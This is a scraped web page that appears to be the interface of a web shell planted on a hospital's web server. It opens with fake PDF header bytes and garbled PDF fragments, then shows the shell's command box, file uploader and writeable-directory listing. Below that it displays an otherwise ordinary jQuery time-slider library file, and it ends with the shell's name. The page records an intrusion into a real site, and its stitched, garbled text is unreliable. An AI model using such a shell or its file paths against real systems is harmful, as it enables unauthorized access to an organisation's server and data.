%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/assests/js_live/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/assests/js_live/jquery-time-slider.js
/****************************************************************************
    jquery-time-slider, A extension to jquery-base-slider with selection of time and date

    (c) 2015, Niels Holt

    https://github.com/fcoo/jquery-time-slider
    https://github.com/fcoo

USING
    fcoo/jquery-base-slider - https://github.com/fcoo/jquery-base-slider


options:

    ** SAME AS IN JQUERY-BASE-SLIDER PLUS **

    display:
        value:
            tzElement, utcElement, relativeElement  //jQuery-object or String (=search)
        from:
            tzElement, utcElement, relativeElement  //jQuery-object or String (=search)
        to:
            tzElement, utcElement, relativeElement  //jQuery-object or String (=search)

    format:
        showRelative: boolean; If true the grid etc show the relative time ('Now + 2h') Default = false
        showUTC     : boolean; When true a scale for utc is also shown.                 Default = false. Only if showRelative == false

    NB: Using moment-simple-format to set and get text and format for date and time

****************************************************************************/

(function ($, window, document, undefined) {
    "use strict";

    //roundMoment( m )
    function roundMoment( m ){ return m.startOf('hour');}


    //valueToMoment
    function valueToMoment ( value ){
        var result = roundMoment(moment());
        result.add( value, 'hours' );
        return result;
    }

    //setValueAndMoment( value, moment )
    function setValueAndMoment( value, m ){
        var nowMoment = roundMoment(moment());
        if (value === undefined){
            roundMoment( m );
            value = m.diff(nowMoment, 'hours');
        }
        else {
            m = nowMoment;
            m.add(value, 'hours');
        }
        return { m: m, value: value };
    }


    var pluginCount = 1000,
        defaultOptions = {
            grid              : true,
            gridDistances     : [1, 2, 3, 6, 12, 24, 48],

            step : 1, // 1 hour
            keyboardShiftStepFactor: 6,  //Step 6 hour with shift or ctrl
            keyboardPageStepFactor : 24, //Step 24 h with PgUp og PgDn

            stepOffsetMoment: null,
            format: {
                showRelative: false,
                showUTC     : false
            }
        };

    window.TimeSlider = function (input, options, pluginCount) {
        var _this = this;

        this.VERSION = "{VERSION}";

        //Setting default options
        this.options = $.extend( true, {}, defaultOptions, options );
        this._updateOptionsFormat();

        this.options.display = this.options.display || {};
        //Convert options.display.[value | from | to] from selector-string to $-elements (if needed)
        $.each( ['value', 'from', 'to'], function( index, id ){
            _this.options.display[id] = _this.options.display[id] || {};
            $.each( ['tzElement', 'utcElement', 'relativeElement'], function( index, attrId ){
                var selector = _this.options.display[id][attrId];
                if ($.type(selector) == 'string')
                    _this.options.display[id][attrId] = $(selector);
            });
        });

        //Set min/minMoment, max/maxMoment, from/fromMoment, to/toMoment, and value/valueMoment
        var valMom = setValueAndMoment( this.options.min, this.options.minMoment );
        this.options.min = valMom.value; this.options.minMoment = valMom.m;

        valMom = setValueAndMoment( this.options.max, this.options.maxMoment );
        this.options.max = valMom.value; this.options.maxMoment = valMom.m;

        valMom = setValueAndMoment( this.options.from, this.options.fromMoment || this.options.minMoment );
        this.options.from = valMom.value; this.options.fromMoment = valMom.m;

        valMom = setValueAndMoment( this.options.to, this.options.toMoment || this.options.maxMoment );
        this.options.to = valMom.value; this.options.toMoment = valMom.m;

        valMom = setValueAndMoment( this.options.value, this.options.valueMoment || this.options.fromMoment);
        this.options.value = valMom.value; this.options.valueMoment = valMom.m;

        if ((this.options.step > 1) && this.options.stepOffsetMoment){
          //Use options.stepOffsetMoment to calculate stepOffset
            var value = setValueAndMoment( undefined, moment( this.options.stepOffsetMoment ) ).value;
            this.options.stepOffset = (value - this.options.min) % this.options.step;
        }

        //Update display-element onChanging if
        if (!this.options.onChangeOnDragging)
            this.preOnChanging =  $.proxy( this.updateDisplay, this );


        //Create BaseSlider - dont create grid here
        var optionsGrid = this.options.grid;
        this.options.grid = false;
        window.BaseSlider.call(this, input, this.options, pluginCount );

        if (this.options.isSingle)
            this.setValue( setValueAndMoment( this.options.value, this.options.valueMoment ).value );
        else {
            //Set from/fromMoment and to/toMoment
            this.setFromValue( setValueAndMoment( this.options.from, this.options.fromMoment ).value );
            this.setToValue  ( setValueAndMoment( this.options.to,   this.options.toMoment   ).value );
        }

        //Sets the format and create the grids
        this.options.grid = optionsGrid;
        this.setFormat();
    };

    //timeSlider as jQuery prototype
    $.fn.timeSlider = function (options) {
        return this.each(function() {
            if (!$.data(this, "timeSlider")) {
                $.data(this, "timeSlider", new window.TimeSlider(this, options, pluginCount++));
            }
        });
    };


    //Extend the prototype
    window.TimeSlider.prototype = {
        /**************************************************************
        valueToTzMoment
        ***************************************************************/
        _valueToTzMoment: function( value, timezone ){
            return valueToMoment(value).tzMoment( timezone );
        },

        /**************************************************************
        _valueToFormat
        converts value to a moment.format-string or a relative text. If no timezome is given => return relative format
        ***************************************************************/
        _valueToFormat: function( value, timezone ){
            if (timezone)
                return this._valueToTzMoment( value, timezone ).format( this.options.format.dateHourFormat );
            else
                return this.options.format.text.nowUC + (value >= 0 ? ' + ' : ' - ') + Math.abs(value) + this.options.format.text.hourAbbr;
        },

        _prettifyRelative      : function( value ){ return this._valueToFormat( value ); },
        _prettifyLabelRelative: function( value ){ return value;                        },

        _prettifyAbsolute: function( value ){ return this._valueToFormat( value, this.options.format.timezone ); },
        _prettifyLabelAbsolute: function( value ){
            return this._valueToTzMoment( value, this.options.format.timezone ).hourFormat();
        },

        _prettifyLabelAbsoluteDate: function( value ){
                return this._valueToTzMoment( value, this.options.format.timezone ).format( this.options.format.dateFormat );
            },

        /**************************************************************
        adjustResult
        ***************************************************************/
        adjustResult: function(){
            this.result.minMoment   = valueToMoment ( this.result.min );
            this.result.maxMoment   = valueToMoment ( this.result.max );
            this.result.fromMoment  = valueToMoment ( this.result.from );
            this.result.toMoment    = valueToMoment ( this.result.to );
            this.result.valueMoment = valueToMoment ( this.result.value );
        },


        /**************************************************************
        appendDateGrid
        ***************************************************************/
        appendDateGrid: function( textOptions, tickOptions ){
            var o = this.options,
                value,
                valueP = 0,
                valueRem = o.stepRem/o.step,
                midnights = 0,
                isFirstMidnight = true,
                firstMidnightValue = 0,
                lastMidnightValue = 0,
                dayRem,
                values = [],
                dateFormats,
                dateFormatOk,
                textWidth;

            this.preAppendGrid();

            this.$currentGridContainer.addClass("label-between-ticks");
            this._prettifyLabel = this._prettifyLabelAbsoluteDate;

            //Setting tick at midnight
            value = o.min;
            while (value <= o.max){
                //Old version: Force midnights tag to be on minor-tick => error on shift to/from DST (Daylight Saving Time)
                //if ( ((value - this.options.majorTicksOffset) % o.tickDistanceNum === 0) && (this._valueToTzMoment( value, this.options.format.timezone ).hour() === 0) ){

                //New version: Allow midnights tags on every hour regardless if there are a tag
                if (this._valueToTzMoment( value, this.options.format.timezone ).hour() === 0){

                    midnights++;
                    this.appendTick( valueP, tickOptions );

                    if (isFirstMidnight){
                      isFirstMidnight = false;
                        firstMidnightValue = value;
                    }
                    lastMidnightValue = value;
                }
                value += 1;
                valueP += o.percentProValue;
            }

            //Find the max width (in rem) of a date-label = dayRem
            dayRem = valueRem * (
                                  midnights === 0 ? o.range :
                                  midnights == 1  ? Math.max( firstMidnightValue - o.min, o.max - firstMidnightValue ) :
                                                    20  //Setting a full day to 20 hours to allow date-string on days up to 20 hours at the ends
                                ) - this.options.minDistanceRem; // = margin

            if (!o.format.dateFormat){
                //Find the format for the date, where all dates is smaller than dayRem
                dateFormats = moment.sfDateFormatList( function( code ){
                                //Include all formats except full weekday or full month
                                return (code.charAt(0) != 'F') && (code.charAt(1) != 'F');
                              });

                //Create temp list of all values needed
                value = o.min;
                while (value <= o.max){
                    values.push( value );
                    value += 24;
                }

                //Checking if all dates displayed in dayFormat are samller than the max width for a day = dayRem. Setting this._prettifyLabel will force getTextWidth to use the text directly
                for (var i=0; i<dateFormats.length; i++ ){
                    o.format.dateFormat = dateFormats[i];
                    dateFormatOk = (this.getTextWidth( values, textOptions ) <= dayRem);

                    if (dateFormatOk)
                      break;
                }
                if (!dateFormatOk)
                    o.format.dateFormat = '';
            }

            if (o.format.dateFormat){
                //No text-colors or click on day-text
                var textColorRec   = o.textColorRec,
                    labelClickable = o.labelClickable,
                    labelColorRec  = o.labelColorRec;

                o.textColorRec   = {};
                o.labelClickable = false;
                o.labelColorRec  = {};

                //Append the label/text
                if (midnights === 0){
                    //Special case: No midnights => the date are placed centered
                    this.appendLabel( o.percentProValue * o.range / 2 , o.min, textOptions );
                }
                else {
                    //first day - check if there are space to put a date-label
                    textWidth = this.getTextWidth( o.min, textOptions );
                    if ( valueRem*(firstMidnightValue - o.min) >= textWidth ){
                        //Try to place the date-text under 12 o'clock (noon) but always keep inside the left edge
                        var minTextValue = o.min + textWidth/2/valueRem;
                        this.appendLabel( o.percentProValue * ( Math.max( minTextValue, firstMidnightValue-12 ) - o.min ), o.min, textOptions );
                    }

                    //last day - check if there are space to put a date-label
                    textWidth = this.getTextWidth( o.max, textOptions );
                    if ( valueRem*(o.max - lastMidnightValue) >= textWidth ){
                        //Try to place the date-text under 12 o'clock (noon) but always keep inside the right edge
                        var maxTextValue = o.max - textWidth/2/valueRem;
                        this.appendLabel( o.percentProValue * ( Math.min( maxTextValue, lastMidnightValue+12 ) - o.min ), o.max, textOptions );
                    }

                    //Days between first and last day
                    if (midnights > 1){
                        value = firstMidnightValue + 12;
                        while (value <= lastMidnightValue){
                            this.appendLabel( o.percentProValue*(value-o.min) , value, textOptions );
                            value += 24;
                        }
                    }
                }
                o.textColorRec   = textColorRec;
                o.labelClickable = labelClickable;
                o.labelColorRec  = labelColorRec;
            }

            this.postAppendGrid();
        },

        /**************************************************************
        appendStandardGrid
        ***************************************************************/
        appendStandardGrid: function(){
            //First remove all grid-container except the first one
            this.cache.$grid = this.cache.$container.find(".grid").first();
            this.cache.$grid.siblings('.grid').remove();
            this.cache.$grid.empty();
            this.$currentGridContainer = null;

            //Create all grid
            if (this.options.format.showRelative){
                //Relative time: Set the prettify-functions and create the grid needed
                this._prettify = this._prettifyRelative;
                this._prettifyLabel = this._prettifyLabelRelative;
                this.options.majorTicksOffset = 0;
                this._appendStandardGrid();
            }
            else {
                //Absolute time: Set the prettify-functions
                var now = moment();
                //Create the hour-grid and the date-grid for selected timezone
                this._prettify = this._prettifyAbsolute;
                this._prettifyLabel = this._prettifyLabelAbsolute;
                this.options.majorTicksOffset = -1*now.tzMoment( this.options.format.timezone ).hours();
                this._appendStandardGrid();
                this.appendDateGrid();

                if ((this.options.format.timezone != 'utc') && this.options.format.showUTC){
                    //Create the hour-grid and the date-grid for utc
                    this.options.majorTicksOffset = -1*now.tzMoment( 'utc' ).hours();
                    var saveTimezone = this.options.format.timezone;
                    this.options.format.timezone = 'utc';
                    var textOptions = {italic:true, minor:true},
                        tickOptions = {color:'#555555'};
                    this._prettify = this._prettifyAbsolute;
                    this._prettifyLabel = this._prettifyLabelAbsolute;
                    this._appendStandardGrid( textOptions, tickOptions );
                    this.appendDateGrid( textOptions, tickOptions );
                    this.options.format.timezone = saveTimezone;
                }
            }
        },

        /**************************************************************
        _updateOptionsFormat
        ***************************************************************/
        _updateOptionsFormat: function( format ){
            $.extend( true, this.options.format, format || {}  );

            //Merge current moment.simpleFormat.options into this.options.format
            $.extend( true, this.options.format, moment.sfGetOptions() );

            //Create the format for the label over the 'dragger'
            this.options.format.dateHourFormat =
                (this.options.format.date == 'DMY' ? 'DD-MMM' : 'MMM-DD') + //Dec-24 / 24-Dec
                ' ' + moment.sfGetTimeFormat();

            //Set dateformat = '' to make appendDateGrid find new format
            this.options.format.dateFormat = '';

            //Set special versions of moment.simpleFormat.text
            var now =  this.options.format.text.now;
            this.options.format.text.nowUC =  now.charAt(0).toUpperCase() + now.slice(1);

            //Set jquery-base-slider options valuesSeparator to use moment.simpleFormat.text.to
            this.options.valuesSeparator = ' ' + this.options.format.text.to + ' ';
        },



        /**************************************************************
        setFormat
        ***************************************************************/
        setFormat: function( format ){
            //Reset label-width in case time-format is changed (12h <-> 24h)
            this.options.maxLabelWidthRem = 0;

            this._updateOptionsFormat( format );
            this.update();
            this.updateDisplay();
        },

        /**************************************************************
        updateDisplay
        Updates the elements with text versions of from-value and to-value as timezone-date, utc-date and relative time
        ***************************************************************/
        updateDisplay: function(){
            var _this = this;
            $.each( ['value', 'from', 'to'], function(index, id){
                var value = _this.result[id],
                    valueList = [
                        _this._valueToFormat( value, _this.options.format.timezone ),
                        _this._valueToFormat( value, 'utc' ),
                        _this._valueToFormat( value )
                    ];
                $.each( ['tzElement', 'utcElement', 'relativeElement'], function( index, attrId ){
                    var $elem = _this.options.display[id][attrId],
                        text = valueList[index];
                    if ($elem)
                        $elem.each( function(){ $(this).text( text ); } );
                });
            });
        },

        preOnChange: function(){ this.updateDisplay(); }

    };
    window.TimeSlider.prototype = $.extend( {}, window.BaseSlider.prototype, window.TimeSlider.prototype );

}(jQuery, this, document));

Kontol Shell Bypass